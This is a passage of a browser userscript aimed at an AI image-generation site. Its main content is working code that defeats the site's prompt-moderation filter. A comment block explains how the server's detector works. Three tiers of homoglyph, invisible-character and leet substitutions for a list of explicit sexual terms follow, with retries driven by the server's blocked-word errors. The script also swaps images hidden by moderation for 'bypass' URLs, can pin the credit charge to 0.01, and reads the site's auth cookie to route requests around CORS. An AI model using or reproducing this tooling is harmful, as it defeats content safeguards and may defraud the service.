    return {
      changed: true,
      body: backfilled.body,
      stats
    };
  }

  // ── mget_task response patchers ─────────────────────────────────────────────
  // mget_task returns body.data.tasks as an **object** keyed by taskId, not an
  // array.  These three functions mirror patchTensorTasksQueryResponseBody /
  // backfillTensorTasksQueryResponseBody / patchTensorTasksQueryResponseBodyAsync
  // but operate on that object shape.

  function patchMgetTaskResponseBody(body) {
    const tasksObj = body?.data?.tasks;
    if (!body || typeof body !== 'object' || !tasksObj || typeof tasksObj !== 'object' || Array.isArray(tasksObj)) {
      return { changed: false, body };
    }
    let changed = false;
    const nextTasksObj = {};
    for (const [taskId, task] of Object.entries(tasksObj)) {
      if (!task || String(task.status || '').toUpperCase() !== 'FINISH' || !Array.isArray(task.items)) {
        nextTasksObj[taskId] = task;
        continue;
      }
      const taskExpireAt = Number(task.expireAt || 0);
      if (taskExpireAt > 0 && taskExpireAt * 1000 < Date.now()) {
        nextTasksObj[taskId] = task;
        continue;
      }
      let taskChanged = false;
      const nextItems = task.items.map(item => {
        // Skip placeholder imageId '0' and items still under review (reviewing.png)
        if (!item?.imageId || item.imageId === '0') return item;
        if (/reviewing\.png/i.test(item.url || '')) return item;
        const looksBlocked = item.invalid === true || isBlockedPlaceholderUrl(item.url) || isBlockedPlaceholderUrl(item.downloadUrl);
        if (!looksBlocked) return item;
        // Stamp blockedOnOrigin before normalizing so it survives even a no-change normalization
        const stampedItem = item.blockedOnOrigin ? item : { ...item, blockedOnOrigin: true };
        const cachedBypass = getCachedBypassUrlForInvalidItem(stampedItem);
        if (!cachedBypass) {
          // No bypass URL yet — still return stamped item so flag is persisted
          taskChanged = true;
          return stampedItem;
        }
        const normalized = normalizeTensorItemForFrontend(stampedItem, cachedBypass, null);
        taskChanged = true;
        return normalized.changed ? normalized.item : stampedItem;
      });
      if (!taskChanged) { nextTasksObj[taskId] = task; continue; }
      changed = true;
      nextTasksObj[taskId] = { ...task, items: nextItems };
    }
    if (!changed) return { changed: false, body };
    return { changed: true, body: { ...body, data: { ...body.data, tasks: nextTasksObj } } };
  }

  async function backfillMgetTaskResponseBody(body, source = 'tensor-fetch') {
    const tasksObj = body?.data?.tasks;
    if (!body || typeof body !== 'object' || !tasksObj || typeof tasksObj !== 'object' || Array.isArray(tasksObj)) {
      return { changed: false, body };
    }
    let changed = false;
    const nextTasksObj = {};
    await Promise.all(Object.entries(tasksObj).map(async ([taskId, task]) => {
      if (!task || String(task.status || '').toUpperCase() !== 'FINISH' || !Array.isArray(task.items)) {
        nextTasksObj[taskId] = task;
        return;
      }
      const taskExpireAt = Number(task.expireAt || 0);
      if (taskExpireAt > 0 && taskExpireAt * 1000 < Date.now()) {
        nextTasksObj[taskId] = task;
        return;
      }
      let taskChanged = false;
      const nextItems = await Promise.all(task.items.map(async item => {
        if (!item?.imageId || item.imageId === '0') return item;
        if (/reviewing\.png/i.test(item.url || '')) return item;
        const looksBlocked = item.invalid === true || isBlockedPlaceholderUrl(item.url) || isBlockedPlaceholderUrl(item.downloadUrl);
        if (!looksBlocked) return item;
        // Stamp blockedOnOrigin before any further work
        const stampedItem = item.blockedOnOrigin ? item : { ...item, blockedOnOrigin: true };
        // If we already have a cached bypass URL, skip — patchMgetTaskResponseBody
        // (the sync step) will handle it; avoid double-fetching.
        const existingBypass = getCachedBypassUrlForTensorTaskItem(task, stampedItem);
        if (existingBypass) { taskChanged = true; return stampedItem; }
        const resolvedBypass = await resolveTensorBypassUrlForTaskItem(task, stampedItem, source).catch(() => null);
        if (!resolvedBypass) { taskChanged = true; return stampedItem; }
        const normalized = normalizeTensorItemForFrontend(stampedItem, resolvedBypass, null);
        const nextItem = normalized.changed ? normalized.item : { ...stampedItem, url: resolvedBypass, bypassedUrl: resolvedBypass };
        if (!Object.is(nextItem.bypassedUrl, resolvedBypass)) nextItem.bypassedUrl = resolvedBypass;
        taskChanged = true;
        return nextItem;
      }));
      if (!taskChanged) { nextTasksObj[taskId] = task; return; }
      changed = true;
      nextTasksObj[taskId] = { ...task, items: nextItems };
    }));
    if (!changed) return { changed: false, body };
    return { changed: true, body: { ...body, data: { ...body.data, tasks: nextTasksObj } } };
  }

  async function patchMgetTaskResponseBodyAsync(body, source = 'tensor-fetch') {
    const patched = patchMgetTaskResponseBody(body);
    const backfilled = await backfillMgetTaskResponseBody(patched.changed ? patched.body : body, source);
    if (!backfilled.changed) return patched;
    return { changed: true, body: backfilled.body };
  }
  // ────────────────────────────────────────────────────────────────────────────

  function patchTensorTasksQueryResponseBody(body) {
    const stats = {
      tasksSeen: 0,
      finishedTasks: 0,
      invalidItemsSeen: 0,
      patchedTasks: 0,
      patchedItems: 0,
      urlReplaced: 0,
      filenamePrefixed: 0,
      invalidCleared: 0,
      taskStateNormalized: 0,
      itemStateNormalized: 0,
      resolvedItems: 0,
      resolvedTasks: 0,
      cacheMisses: 0,
      cacheHitIds: [],
      cacheMissIds: []
    };
    if (!body || typeof body !== 'object') return { changed: false, body, stats };
    if (!Array.isArray(body?.data?.tasks)) return { changed: false, body, stats };

    let changed = false;
    const nextTasks = body.data.tasks.map((task) => {
      stats.tasksSeen += 1;
      if (!task || String(task.status || '').toUpperCase() !== 'FINISH' || !Array.isArray(task.items)) return task;
      // Skip tasks whose expireAt has already passed
      const taskExpireAt = Number(task.expireAt || 0);
      if (taskExpireAt > 0 && taskExpireAt * 1000 < Date.now()) return task;
      stats.finishedTasks += 1;

      const normalizedTask = normalizeTensorTaskForFrontend(task, stats);
      let taskChanged = false;
      const nextItems = task.items.map((item) => {
        const looksBlocked = item && (item.invalid === true || isBlockedPlaceholderUrl(item.url) || isBlockedPlaceholderUrl(item.downloadUrl));
        if (!looksBlocked) return item;
        stats.invalidItemsSeen += 1;

        const cachedBypass = getCachedBypassUrlForInvalidItem(item);
        if (!cachedBypass) {
          stats.cacheMisses += 1;
          if (stats.cacheMissIds.length < 20) stats.cacheMissIds.push(String(item?.imageId || item?.id || 'unknown'));
        } else if (stats.cacheHitIds.length < 20) {
          stats.cacheHitIds.push(String(item.imageId || item.id));
        }

        // Always stamp blockedOnOrigin regardless of whether we have a cached URL yet,
        // so the item stays visible in the items tab after patching clears invalid/url.
        const normalizedItem = normalizeTensorItemForFrontend(item, cachedBypass, stats);
        let itemChanged = normalizedItem.changed;
        const nextItem = itemChanged ? { ...normalizedItem.item } : { ...item };
        if (!nextItem.blockedOnOrigin) {
          nextItem.blockedOnOrigin = true;
          itemChanged = true;
        }

        const prefixedName = ensureFreeInternetPrefix(item.downloadFileName || item.fileName || 'media');
        if (prefixedName !== item.downloadFileName) {
          nextItem.downloadFileName = prefixedName;
          itemChanged = true;
          stats.filenamePrefixed += 1;
        }
        if (typeof item.fileName === 'string' && prefixedName !== item.fileName) {
          nextItem.fileName = prefixedName;
          itemChanged = true;
        }

        if (itemChanged) {
          stats.patchedItems += 1;
          taskChanged = true;
        }
        return itemChanged ? nextItem : item;
      });

      if (!taskChanged) return task;
      changed = true;
      stats.patchedTasks += 1;
      return {
        ...(normalizedTask.changed ? normalizedTask.task : task),
        items: nextItems
      };
    });

    if (!changed) return { changed: false, body, stats };
    return {
      changed: true,
      body: {
        ...body,
        data: {
          ...body.data,
          tasks: nextTasks
        }
      },
      stats
    };
  }

  function buildPatchedJsonResponse(originalResponse, payload) {
    if (!originalResponse || !payload) return null;
    try {
      const headers = new Headers(originalResponse.headers || {});
      headers.set('content-type', 'application/json;charset=UTF-8');
      return new Response(JSON.stringify(payload), {
        status: originalResponse.status,
        statusText: originalResponse.statusText,
        headers
      });
    } catch {
      return null;
    }
  }

  function isTensorRequestLike(input) {
    return !!input && typeof input === 'object' && typeof input.url === 'string' && typeof input.clone === 'function';
  }

  function buildTensorRequestCloneInit(input, init = {}) {
    const nextInit = {
      method: init.method ?? input?.method,
      headers: init.headers ?? input?.headers,
      mode: init.mode ?? input?.mode,
      credentials: init.credentials ?? input?.credentials,
      cache: init.cache ?? input?.cache,
      redirect: init.redirect ?? input?.redirect,
      referrer: init.referrer ?? input?.referrer,
      referrerPolicy: init.referrerPolicy ?? input?.referrerPolicy,
      integrity: init.integrity ?? input?.integrity,
      keepalive: init.keepalive ?? input?.keepalive,
      signal: init.signal ?? input?.signal
    };
    try {
      if ((init && Object.prototype.hasOwnProperty.call(init, 'duplex')) || (input && Object.prototype.hasOwnProperty.call(input, 'duplex'))) {
        nextInit.duplex = init.duplex ?? input.duplex;
      }
    } catch {
      // ignore
    }
    return nextInit;
  }

  // ── Tensor Prompt Bypass (obfuscation via zero-width spaces) ─────────────────
  // ── Tensor Prompt Bypass — Multi-Tier Obfuscation ───────────────────────────
  //
  // The server strips ZWS (U+200B) and uses UTS#39 confusable detection to map
  // Cyrillic/Greek back to Latin before word-scanning. So we need chars that
  // survive those pipelines. Strategy:
  //
  //  Tier 1 (default): Cyrillic/Greek homoglyphs for visual coverage PLUS
  //    Variation Selector 16 (U+FE0F) and Mongolian FVS1 (U+180B) injected
  //    after EVERY character. Both invisible, not in confusables, not removed
  //    by any Unicode normalization form (NFC/NFD/NFKC/NFKD).
  //
  //  Tier 2 (auto-retry 1): Latin letters unchanged, but U+FE0F + U+180B after
  //    every char. Removes homoglyphs in case the server specifically targets
  //    Cyrillic; invisible-char insertion alone breaks exact-match.
  //
  //  Tier 3 (auto-retry 2): Predefined phonetic/numeral substitutions the model
  //    still understands (leet-speak, common internet variants).
  //
  // Invisible-char rationale:
  //  U+FE0F (VS-16): emoji variation selector — no visual effect on Latin letters,
  //    no decomposition, not in confusables. Many servers only target U+200B.
  //  U+180B (Mongolian FVS1): Mongolian glyph variation selector — equally
  //    invisible, even less likely to be in a text-based word scanner filter.

  const _PBT_HM = {
    // Cyrillic homoglyphs (visually identical)
    'a': '\u0430', 'c': '\u0441', 'e': '\u0435', 'i': '\u0456',
    'j': '\uFE0C', // placeholder — handled below with Greek Yot
    'o': '\u043E', 'p': '\u0440', 's': '\u0455', 'x': '\u0445', 'y': '\u0443',
    'A': '\u0410', 'C': '\u0421', 'E': '\u0415', 'I': '\u0406',
    'O': '\u041E', 'P': '\u0420', 'S': '\u0405', 'X': '\u0425',
  };
  // IPA / Greek extras that are out of the standard Cyrillic confusables table:
  const _PBT_HM2 = {
    'j': '\u03F3', // Greek Letter Yot ϳ — looks like j
    'n': '\u0578', // Armenian small letter xeh — looks like n in many fonts
    'u': '\u057D', // Armenian small letter seh — looks like u in some fonts
  };
  // Tier-3 phonetic leet map (word-level, exact match)
  const _PBT_LEET = {
    'sex': 's\u0435x',        // keep Latin s and x, swap e for Cyrillic + later tiers give up and do:
    // actually use proper leet here:
    'sex': 's\u00E9x',        // séx (e with acute — model understands)
    'fuck': 'fv\u010Dk',      // fvčk (v for u, č for c) — phonetically obvious to model
    'fucking': 'fv\u010Dking',
    'nude': 'n\u016Bde',      // nūde (macron u — clearly 'nude' to model)
    'naked': 'n\u0103ked',    // năked
    'blowjob': 'blow\u2024job', // blow·job (one-dot leader between — visible but neutral)
    'blowjobs': 'blow\u2024jobs',
    'pussy': 'pu\u0161\u0161y', // pušší (š for s — obviously pussy to model)
    'cock': 'c\u014Dck',      // cōck
    'dick': 'd\u012Dck',      // dīck
    'tits': 't\u012Dts',      // tīts
    'boobs': 'b\u014D\u014Dbs', // bōōbs
    'cum': 'c\u016Bm',        // cūm
    'creampie': 'cream\u2024pie',
    'orgasm': '\u014Drgasm',  // ōrgasm
    'penis': 'p\u0113nis',    // pēnis
    'vagina': 'v\u0101gina',  // vāgina
    'anal': '\u0101nal',      // ānal
    'breasts': 'br\u0113asts',
    'blowjob': 'blow-job',
    'asshole': 'a\u015Bshole',
    'suck': 'su\u010Dk',
    'sucks': 'su\u010Dks',
    'sucking': 'su\u010Dking',
    'fellatio': 'fell\u0101tio',
    'porn': 'p\u014Drn',
    'nsfw': 'n\u015Bfw',
    'intercourse': 'inter\u010Dourse',
    'oral': '\u014Dral',
    'throat': 'thr\u014D\u0101t',
  };

  function _pbtEscapeRegExp(s) {
    return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
  }

  // Returns the best homoglyph for a char (Cyrillic/Greek/IPA) or the original.
  function _pbtGlyph(ch) {
    return _PBT_HM2[ch] || _PBT_HM[ch] || ch;
  }

  // Tier 1: homoglyph + VS-16 + Mongolian FVS1 after every char.
  function _pbtObfuscateWord(word) {
    let result = '';
    for (let ci = 0; ci < word.length; ci++) {
      result += _pbtGlyph(word[ci]) + '\uFE0F\u180B';
    }
    return result;
  }

  // Tier 2: VS-16 + Mongolian FVS1 only (keeps Latin chars, drops homoglyphs).
  function _pbtObfuscateWordTier2(word) {
    let result = '';
    for (let ci = 0; ci < word.length; ci++) {
      result += word[ci] + '\uFE0F\u180B';
    }
    return result;
  }

  // Tier 3: predefined phonetic/leet replacement (visible change, model-friendly).
  function _pbtObfuscateWordTier3(word) {
    const lower = word.toLowerCase();
    const replacement = _PBT_LEET[lower];
    if (!replacement) {
      // Generic fallback: keep first and last letter, insert · in middle
      if (word.length <= 2) return word[0] + '\u2024' + (word[1] || '');
      const mid = Math.floor(word.length / 2);
      return word.slice(0, mid) + '\u2024' + word.slice(mid);
    }
    // Preserve original capitalisation (first-letter upper)
    if (word[0] === word[0].toUpperCase() && word[0] !== word[0].toLowerCase()) {
      return replacement[0].toUpperCase() + replacement.slice(1);
    }
    return replacement;
  }
  function tensorPromptObfuscate(prompt, tier) {
    if (!prompt || typeof prompt !== 'string') return prompt;
    const t = tier || 1;
    const words = Array.isArray(settings.promptBypassWords) ? settings.promptBypassWords : [];
    if (!words.length) return prompt;
    let modified = prompt;
    let obfuscatedAny = false;
    for (const sensitive of words) {
      if (!sensitive) continue;
      const regex = new RegExp(`\\b${_pbtEscapeRegExp(sensitive)}\\b`, 'gi');
      const before = modified;
      if (t === 3) {
        modified = modified.replace(regex, match => _pbtObfuscateWordTier3(match));
      } else if (t === 2) {
        modified = modified.replace(regex, match => _pbtObfuscateWordTier2(match));
      } else {
        modified = modified.replace(regex, match => _pbtObfuscateWord(match));
      }
      if (modified !== before) obfuscatedAny = true;
    }
    if (obfuscatedAny) {
      console.log(`%c[FREEInternet PromptBypass]%c Obfuscated prompt (tier ${t})`, 'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#c4b5fd;', { original: prompt, modified });
    }
    return modified;
  }
  // Rewrite a works/v1/works/task (or prompt/weight/check) POST body.
  // tier: 1 = homoglyph+VS/FVS, 2 = VS/FVS only, 3 = phonetic leet
  function tensorPromptBypassRewriteBody(rawBody, tier) {
    if (!settings.promptBypassEnabled) return { changed: false, body: rawBody };
    const t = tier || 1;
    let parsed;
    try {
      parsed = typeof rawBody === 'string' ? JSON.parse(rawBody) : (rawBody && typeof rawBody === 'object' ? rawBody : null);
    } catch { return { changed: false, body: rawBody }; }
    if (!parsed || typeof parsed !== 'object') return { changed: false, body: rawBody };
    let changed = false;
    // Format A: works/task  — prompt nested at params.prompt
    const origParamsPrompt = parsed?.params?.prompt;
    if (typeof origParamsPrompt === 'string' && origParamsPrompt.trim()) {
      const obf = tensorPromptObfuscate(origParamsPrompt, t);
      if (obf !== origParamsPrompt) { parsed = { ...parsed, params: { ...parsed.params, prompt: obf } }; changed = true; }
    }
    // Format B: prompt/weight/check — prompt at root level
    const origRootPrompt = parsed.prompt;
    if (typeof origRootPrompt === 'string' && origRootPrompt.trim()) {
      const obf = tensorPromptObfuscate(origRootPrompt, t);
      if (obf !== origRootPrompt) { parsed = { ...parsed, prompt: obf }; changed = true; }
    }
    // Debug: pin credits to 0.01
    if (settings.promptBypassDebugZeroCredit && typeof parsed.credits === 'number') {
      console.log('%c[FREEInternet PromptBypass]%c Debug: pinning credits 0.01 (was ' + parsed.credits + ')', 'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#fbbf24;');
      parsed = { ...parsed, credits: 0.01 };
      changed = true;
    }
    if (!changed) return { changed: false, body: rawBody };
    return { changed: true, body: JSON.stringify(parsed) };
  }
  // Extract blocked words from a 1300018 error message, returns string[].
  function tensorParseBlockedWords(message) {
    if (!message || typeof message !== 'string') return [];
    // Message format: "WORKS_PROMPT_RISK|...which is [word1, word2]\n..."
    const match = message.match(/which is \[([^\]]+)\]/i);
    if (!match) return [];
    return match[1].split(',').map(w => w.trim().toLowerCase()).filter(Boolean);
  }

  async function readObservedRequestBody(input, init = null) {
    let rawBody = init && Object.prototype.hasOwnProperty.call(init, 'body') ? init.body : undefined;
    const shouldReadFromRequest = rawBody === undefined && isTensorRequestLike(input);
    if (!shouldReadFromRequest) return rawBody;
    try {
      const clone = input.clone();
      if (typeof clone.text === 'function') {
        return await clone.text();
      }
    } catch {
      // ignore
    }
    return rawBody;
  }

  async function rewriteTensorFetchArguments(args, source = 'tensor-fetch') {
    const originalArgs = Array.from(args || []);
    const input = originalArgs[0];
    const initArg = originalArgs[1] && typeof originalArgs[1] === 'object' ? { ...originalArgs[1] } : null;
    const fetchUrl = getInterceptedRequestUrl(input);
    const method = String(initArg?.method ?? input?.method ?? 'GET').toUpperCase();

    if (!settings.xhrInterceptEnabled || !isTensorTasksQueryEndpoint(fetchUrl) || method === 'GET' || method === 'HEAD') {
      return { changed: false, args: originalArgs, fetchUrl, summary: null };
    }

    let rawBody = initArg && Object.prototype.hasOwnProperty.call(initArg, 'body') ? initArg.body : undefined;
    const readFromRequest = rawBody === undefined && isTensorRequestLike(input);
    if (readFromRequest) {
      try {
        rawBody = await input.clone().text();
      } catch {
        rawBody = undefined;
      }
    }

    const beforeSummary = summarizeTensorTasksQueryPayload(rawBody);
    const rewritten = rewriteTensorTasksQueryRequestBody(rawBody);
    const afterSummary = summarizeTensorTasksQueryPayload(rewritten.body);

    if (!rewritten.changed) {
      tensorInterceptLog('info', 'Observed Tensor tasks query request (no rewrite needed)', {
        source,
        method,
        url: fetchUrl,
        payload: beforeSummary
      });
      return { changed: false, args: originalArgs, fetchUrl, summary: beforeSummary };
    }

    tensorInterceptLog('success', 'Rewrote Tensor tasks query request payload', {
      source,
      method,
      url: fetchUrl,
      before: beforeSummary,
      after: afterSummary
    });

    if (readFromRequest && isTensorRequestLike(input)) {
      const requestInit = buildTensorRequestCloneInit(input, initArg || {});
      requestInit.body = rewritten.body;
      return {
        changed: true,
        args: [new Request(input, requestInit)],
        fetchUrl,
        summary: afterSummary
      };
    }

    const nextInit = initArg ? { ...initArg, body: rewritten.body } : { body: rewritten.body };
    return { changed: true, args: [input, nextInit], fetchUrl, summary: afterSummary };
  }

  async function patchTensorFetchResponseIfNeeded(response, fetchUrl, source = 'tensor-fetch') {
    if (!response || !settings.xhrInterceptEnabled) {
      return { response, changed: false, stats: null };
    }

    // mget_task returns tasks as an object keyed by taskId — handle separately
    if (isMgetTaskEndpoint(fetchUrl)) {
      try {
        const rawText = await response.clone().text();
        if (!rawText) return { response, changed: false, stats: null };
        const body = JSON.parse(rawText);
        const patched = await patchMgetTaskResponseBodyAsync(body, source);
        if (!patched.changed) {
          tensorInterceptLog('info', 'Observed mget_task response (no patch needed)', { source, url: fetchUrl, status: response.status });
          return { response, changed: false, stats: null };
        }
        const patchedResponse = buildPatchedJsonResponse(response, patched.body);
        tensorInterceptLog('success', 'Patched mget_task response with bypass URLs', { source, url: fetchUrl, status: response.status });
        return { response: patchedResponse || response, changed: true, stats: null };
      } catch (error) {
        tensorInterceptLog('error', 'Failed to parse/patch mget_task response', {
          source, url: fetchUrl, error: String(error?.message || error)
        });
        return { response, changed: false, stats: null };
      }
    }

    if (!isTensorPatchableTasksEndpoint(fetchUrl)) {
      return { response, changed: false, stats: null };
    }

    try {
      const rawText = await response.clone().text();
      if (!rawText) {
        tensorInterceptLog('warning', 'Tensor tasks query response body was empty', {
          source,
          url: fetchUrl,
          status: response.status
        });
        return { response, changed: false, stats: null };
      }
      const body = JSON.parse(rawText);
      const patched = await patchTensorTasksQueryResponseBodyAsync(body, source);
      if (!patched.changed) {
        tensorInterceptLog('info', 'Observed Tensor tasks query response (no patch needed)', {
          source,
          url: fetchUrl,
          status: response.status,
          stats: patched.stats
        });
        return { response, changed: false, stats: patched.stats };
      }
      const patchedResponse = buildPatchedJsonResponse(response, patched.body);
      tensorInterceptLog('success', 'Patched Tensor tasks query response', {
        source,
        url: fetchUrl,
        status: response.status,
        stats: patched.stats
      });
      return { response: patchedResponse || response, changed: true, stats: patched.stats };
    } catch (error) {
      tensorInterceptLog('error', 'Failed to parse/patch Tensor tasks query response', {
        source,
        url: fetchUrl,
        status: response?.status ?? null,
        error: String(error?.message || error)
      });
      return { response, changed: false, stats: null };
    }
  }

  function warmTensorTasksQueryResponseBody(body, source = 'tensor-warm') {
    if (!body || typeof body !== 'object' || !Array.isArray(body?.data?.tasks)) return;
    backfillTensorTasksQueryResponseBody(body, source).then((result) => {
      if (result?.changed) {
        tensorInterceptLog('success', 'Warmed Tensor bypass URLs in cached task data', {
          source,
          stats: result.stats || null
        });
      }
    }).catch((error) => {
      tensorInterceptLog('error', 'Failed warming Tensor bypass URLs', {
        source,
        error: String(error?.message || error)
      });
    });
  }

  function maskTensorDebugHeaderValue(key, value) {
    const name = String(key || '').toLowerCase();
    const raw = String(value || '');
    if (!raw) return raw;
    if (name === 'authorization') {
      const token = extractBearerTokenFromAuthValue(raw);
      return token ? `Bearer ${tokenPreview(token, 10, 8)}` : 'Bearer [masked]';
    }
    if (name.includes('sign')) {
      return `${raw.slice(0, 10)}${raw.length > 18 ? '…' : ''}`;
    }
    return raw;
  }

  function buildTensorLibraryDebugHeaders(token = '') {
    const headers = new Headers();
    const configuredHeaders = settings?.headers && typeof settings.headers === 'object' ? settings.headers : {};

    headers.set('accept', '*/*');
    headers.set('cache-control', 'no-cache');
    headers.set('pragma', 'no-cache');
    headers.set('content-type', 'application/json');

    Object.entries(configuredHeaders).forEach(([key, value]) => {
      const headerName = String(key || '').trim();
      const headerValue = String(value ?? '').trim();
      if (!headerName || !headerValue) return;
      headers.set(headerName, headerValue);
    });

    if (token) {
      headers.set('authorization', `Bearer ${token}`);
    }
    if (!headers.has('x-request-lang')) {
      headers.set('x-request-lang', String((navigator.language || 'en').split('-')[0] || 'en'));
    }
    if (!headers.has('x-request-package-id')) {
      headers.set('x-request-package-id', '3000');
    }
    if (!headers.has('x-request-package-sign-version')) {
      headers.set('x-request-package-sign-version', '0.0.1');
    }
    if (!headers.has('x-request-sign-type')) {
      headers.set('x-request-sign-type', 'HMAC_SHA256');
    }
    if (!headers.has('x-request-sign-version')) {
      headers.set('x-request-sign-version', 'v1');
    }

    return headers;
  }

  async function readTensorDebugResponsePayload(response) {
    if (!response) return null;
    const rawText = await response.clone().text().catch(() => '');
    if (!rawText) return null;
    try {
      return JSON.parse(rawText);
    } catch {
      return rawText;
    }
  }

  async function runTensorSiteDebugRequest(actionName = 'Func1', options = {}) {
    if (!IS_TENSOR_DOMAIN) {
      throw new Error('Tensor site debug requests are only available on tensor.art or tensorhub.art pages.');
    }

    const normalizedAction = String(actionName || 'Func1').trim() || 'Func1';
    if (!['Func1', 'Func2'].includes(normalizedAction)) {
      throw new Error(`Unknown debug action "${normalizedAction}". Currently supported: Func1, Func2`);
    }

    const token = await resolveTensorCaptureToken(options.tokenHint || null);
    const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
    const pageFetch = typeof pageWindow?.fetch === 'function' ? pageWindow.fetch.bind(pageWindow) : window.fetch.bind(window);
    const payload = {
      cursor: '0',
      limit: 20,
      filter: {}
    };
    const headers = buildTensorLibraryDebugHeaders(token || '');
    const requestInit = {
      method: 'POST',
      mode: 'cors',
      credentials: 'include',
      cache: 'no-store',
      referrer: 'https://tensor.art/library',
      referrerPolicy: 'unsafe-url',
      headers,
      body: JSON.stringify(payload)
    };

    const requestPreview = {
      action: normalizedAction,
      url: tensorLibraryEntryListUrl,
      method: requestInit.method,
      credentials: requestInit.credentials,
      referrer: requestInit.referrer,
      referrerPolicy: requestInit.referrerPolicy,
      payload,
      headers: Array.from(headers.entries()).map(([key, value]) => [key, maskTensorDebugHeaderValue(key, value)])
    };

    freeInternetConsoleLog('Tensor Debug', 'info', 'Dispatching page-context library entry/list request', requestPreview);

    const response = await pageFetch(tensorLibraryEntryListUrl, requestInit);
    const responsePayload = await readTensorDebugResponsePayload(response);
    const result = {
      action: normalizedAction,
      ok: response.ok,
      status: response.status,
      statusText: response.statusText,
      url: response.url || tensorLibraryEntryListUrl,
      contentType: response.headers.get('content-type') || '',
      payload,
      response: responsePayload
    };

    freeInternetConsoleLog(
      'Tensor Debug',
      response.ok ? 'success' : 'error',
      `library entry/list responded with ${response.status} ${response.statusText}`,
      result
    );

    return result;
  }

  // -------------------------------------------------------------------------
  // GM.xmlHttpRequest relay for debug requests
  //
  // The page-level injected debug script cannot make cross-origin requests
  // without triggering CORS preflights that api.tensor.art rejects (405).
  // Solution: the page script emits a custom DOM event ("_freeInternetDebug"),
  // this relay picks it up in the USERSCRIPT realm (where GM.xmlHttpRequest
  // bypasses CORS entirely), makes the actual HTTP call, and fires back a
  // "_freeInternetDebugResult" event with the response so the page script can
  // log it to the DevTools console.
  // -------------------------------------------------------------------------
  function installGMDebugRequestRelay() {
    if (!IS_TENSOR_DOMAIN) return;
    try {
      const targetWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
      targetWindow.addEventListener('_freeInternetDebug', async function (e) {
        const detail = e && e.detail && typeof e.detail === 'object' ? e.detail : {};
        const action    = String(detail.action    || '').trim();
        const requestId = String(detail.requestId || '').trim();

        // Security: only allow known action names.
        if (!['Func1', 'Func2', 'Func2warm', 'Func3'].includes(action) || !requestId) return;

        // Resolve auth token from captured state, then GM.cookie, then settings.
        let token = (typeof userToken === 'string' ? userToken.trim() : '');
        if (!token) {
          try {
            const cookies = await GM.cookie.list({ name: 'ta_token_prod', url: 'https://tensor.art' });
            token = (cookies && cookies[0] && cookies[0].value) ? cookies[0].value : '';
          } catch { /* GM.cookie may not be available */ }
        }

        // Build request headers.
        // X-Request-Sign covers the full URL so we MUST use headers that were signed
        // specifically for library-web/v1/entry/list, not from another endpoint.
        const TARGET_PATH = 'library-web/v1/entry/list';
        const now = Date.now();
        const pathEntry = tensorSigningHeadersByPath[TARGET_PATH];
        const pathIsFresh = pathEntry && (now - pathEntry.ts) < TENSOR_SIGNING_HEADER_TTL;

        let signingSource = null;
        if (pathIsFresh) {
          signingSource = pathEntry.headers;
          tensorInterceptLog('info', 'GM relay: using fresh endpoint-specific signing headers', {
            path: TARGET_PATH, ageMs: now - pathEntry.ts
          });
        }

        // ── Shared request executor ──────────────────────────────────────────
        // Extracted so it can be called both immediately (headers cached) and
        // after the auto-warmup finishes (headers just captured).
        function doGMRequest(bearerToken, signingHdrs) {
          const hdrs = { 'accept': 'application/json, text/plain, */*', 'content-type': 'application/json' };
          try {
            Object.entries(signingHdrs).forEach(([k, v]) => {
              const name = String(k || '').trim().toLowerCase();
              const val  = String(v  ?? '').trim();
              if (!name || name === 'pragma' || name === 'cache-control') return;
              if (val) hdrs[k] = val;
            });
          } catch { /* ignore */ }
          if (bearerToken) hdrs['authorization'] = 'Bearer ' + bearerToken;

          GM.xmlHttpRequest({
            method: 'POST',
            url: 'https://api.tensor.art/library-web/v1/entry/list',
            headers: hdrs,
            data: JSON.stringify({ cursor: '0', limit: 20, filter: {} }),
            withCredentials: true,
            anonymous: false,
            onload(r) {
              let responseData;
              try {
                responseData = (r.responseType === 'json' && r.response && typeof r.response === 'object')
                  ? r.response
                  : JSON.parse(r.responseText || 'null');
              } catch { responseData = r.responseText || null; }
              try {
                targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                  detail: {
                    requestId,
                    ok: r.status >= 200 && r.status < 300,
                    status: r.status,
                    statusText: r.statusText || '',
                    response: responseData
                  }
                }));
              } catch { /* ignore */ }
            },
            onerror(r) {
              try {
                targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                  detail: {
                    requestId, ok: false, status: 0, statusText: 'Network Error',
                    error: 'GM.xmlHttpRequest network error — check @connect api.tensor.art is granted'
                  }
                }));
              } catch { /* ignore */ }
            },
            ontimeout() {
              try {
                targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                  detail: { requestId, ok: false, status: 0, statusText: 'Timeout', error: 'Request timed out' }
                }));
              } catch { /* ignore */ }
            }
          });
        }
        // ────────────────────────────────────────────────────────────────────

        // ── Func2: POST /library-web/v1/entry/create ────────────────────────
        if (action === 'Func2') {
          const generationImageId = String(detail.generationImageId || '').trim();
          if (!generationImageId) {
            try {
              targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                detail: {
                  requestId, ok: false, status: 0, statusText: 'Missing parameter',
                  error: 'Func2 requires a generationImageId. Usage: debug("Func2", "<imageId>")'
                }
              }));
            } catch { /* ignore */ }
            return;
          }

          const CREATE_PATH = 'library-web/v1/entry/create';
          const createEntry = tensorSigningHeadersByPath[CREATE_PATH];
          const createIsFresh = createEntry && (Date.now() - createEntry.ts) < TENSOR_SIGNING_HEADER_TTL;

          if (!createIsFresh) {
            // No cached signing headers: open a background tab to tensor.art, let it
            // click the Create/Add-to-Library button automatically, then retry here.
            tensorInterceptLog('info',
              'GM relay (Func2): no cached entry/create headers — opening background warmup tab', {
                generationImageId, cached: Object.keys(tensorSigningHeadersByPath)
              });
            ensureTensorSigningHeaders(CREATE_PATH).then(function(warmResult) {
              const fresh2 = tensorSigningHeadersByPath[CREATE_PATH];
              const ok2    = fresh2 && (Date.now() - fresh2.ts) < TENSOR_SIGNING_HEADER_TTL;
              if (!ok2) {
                tensorInterceptLog('warning',
                  'GM relay (Func2): warmup tab finished but entry/create headers still absent', {
                    warmResult, cached: Object.keys(tensorSigningHeadersByPath)
                  });
                try {
